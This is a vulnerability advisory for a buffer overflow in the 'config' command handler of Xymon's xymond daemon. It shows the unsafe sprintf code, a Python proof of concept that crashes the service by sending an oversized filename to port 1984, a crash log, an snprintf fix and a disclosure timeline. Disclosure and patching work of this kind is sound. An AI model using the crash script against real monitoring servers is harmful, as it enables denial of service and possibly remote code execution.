Software

Xymon http://xymon.sourceforge.net/

Versions affected: All 4.3 versions prior to 4.3.25 as well as 4.1.x and 4.2.x

Buffer overflow in xymond handling of “config” command

The xymond daemon performs an unchecked copying of a user-supplied filename to a fixed-size buffer when handling a “config” command. This may be used to trigger a buffer overflow in xymond, possibly resulting in remote code execution and/or denial of service of the Xymon monitoring system. This code will run with the privileges of the xymon userid.
This bug may be triggered by anyone with network access to the xymond service on port 1984, unless access has been restricted with the “–status-senders” option (a non-default configuration).

Technical Background

An untrusted input (fn) is copied into a fixed size buffer of length PATH_MAX without checking length requirements in xymond/xymond.c

int get_config(char *fn, conn_t *msg)
{
char fullfn[PATH_MAX];
FILE *fd = NULL;
struct stat st;
strbuffer_t *inbuf, *result;

dbgprintf("-> get_config %s\n", fn);
sprintf(fullfn, "%s/etc/%s", xgetenv("XYMONHOME"), fn);

The following POC was used to crash the Xymon daemon:

#!/usr/bin/env python
import socket
import sys

TCP_IP = str(sys.argv[1])
TCP_PORT = 1984
BUFFER_SIZE = 1024

MESSAGE = "config " + 'A' * 500000

try:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((TCP_IP, TCP_PORT))
 s.send(MESSAGE)
 print "Sent large payload..."
 s.shutdown(1) # we will not send more data! This is needed for xymond to start processing the request
 data = s.recv(BUFFER_SIZE)
 s.close()

except socket.error:
 print "Connection error"

As can be seen by the following log the stack canary has been overwritten:

*** buffer overflow detected ***: xymond terminated
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c6f3)[0xb73d76f3]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb74652d5]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xf838a)[0xb746338a]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xf7ae8)[0xb7462ae8]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(_IO_default_xsputn+0x8e)[0xb73db04e]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(_IO_vfprintf+0x224a)[0xb73b045a]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__vsprintf_chk+0xb4)[0xb7462ba4]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__sprintf_chk+0x2f)[0xb7462acf]
xymond[0x80519c8]
xymond[0x8054c83]
xymond[0x804b470]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xf3)[0xb7384a63]
xymond[0x804c150]

Solution

Check length of user supplied string.

Index: xymond/xymond.c
===================================================================
--- xymond/xymond.c	(revision 7852)
+++ xymond/xymond.c	(working copy)
@@ -2767,7 +2767,7 @@
 	strbuffer_t *inbuf, *result;
 
 	dbgprintf("-> get_config %s\n", fn);
-	sprintf(fullfn, "%s/etc/%s", xgetenv("XYMONHOME"), fn);
+	snprintf(fullfn, sizeof(fullfn), "%s/etc/%s", xgetenv("XYMONHOME"), fn);
 	fd = stackfopen(fullfn, "r", NULL);
 	if (fd == NULL) {
 		errprintf("Config file %s not found\n", fn);

Time Line

2016-01-17 – Reported vulnerability to authors

2016-02-08 – Vulnerability has been fixed in Xymon version 4.3.25.

Resources

https://sourceforge.net/p/xymon/news/2016/02/xymon-4325-released—security-update/